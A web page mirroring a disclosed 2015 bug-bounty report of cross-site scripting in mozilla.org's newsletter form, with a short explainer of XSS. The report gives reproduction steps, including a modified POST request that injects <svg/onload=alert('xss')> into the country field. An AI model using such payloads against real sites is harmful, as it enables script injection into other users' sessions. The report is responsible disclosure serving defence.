Skip to content
XSS Disclosed report

Mozilla.org is vulnerable to xss vulnerability.

Hamza Bettache Follow

Originally disclosed on Mozilla

  • Fixed in 6 days
  • Paid in 12 days
  • Disclosed after 6 days
Text
Created attachment 8542956
xss.jpg

Hello,

-Description:

My name is Hamza Bettache and i'm a web app security researcher,as i was trying to download mozzila firefox

i've found that the newsletter's form is vulnerable to xss vulnerability (cross site scritping),the inputs country,lang and 

fmt are not sanitized (filtred),and the attacker can inject his javascript payload to make a successful xss attack 

Steps to reproduce the vulnerability:

1- go to https://www.mozilla.org/fr/newsletter/ and fill in the necessary informations,use a web proxy like BurpSuite 

to intercept the request.

-2 while intercpting the request we get the following post :

POST /fr/newsletter/ HTTP/1.1

Referer: https://www.mozilla.org/fr/newsletter/

newsletters=mozilla-and-you&source_url=https%3A%2F%2Fwww.mozilla.org%2Ffr%2Fnewsletter%2F&email=adressss%40hotmail.fr&country=dz&lang=fr&fmt=H&privacy=on

we change one of three parameters we've talked above to our payload wich will be <svg/onload=alert("xss")>

so the request well as the following : 

POST /fr/newsletter/ HTTP/1.1

Referer: https://www.mozilla.org/fr/newsletter/

newsletters=mozilla-and-you&source_url=https%3A%2F%2Fwww.mozilla.org%2Ffr%2Fnewsletter%2F&email=adressss%40hotmail.fr&country=<svg/onload=alert("xss")>&lang=fr&fmt=H&privacy=on

and we get a pop-up message wich confirms xss vulnerability :

link of a jpeg image:

http://im48.gulfup.com/UtNtVe.jpg

here's a POC (proof of concept) :

http://www.youtube.com/watch?v=vk_REGut7J8&feature=youtu.be

i hope you'll fix it as soon as possible

regards...

Hamza.

The original report as published on Mozilla's Bugzilla, by Hamza Bettache. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A high-severity XSS bug in General. Mozilla made it public on 6 January 2015.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.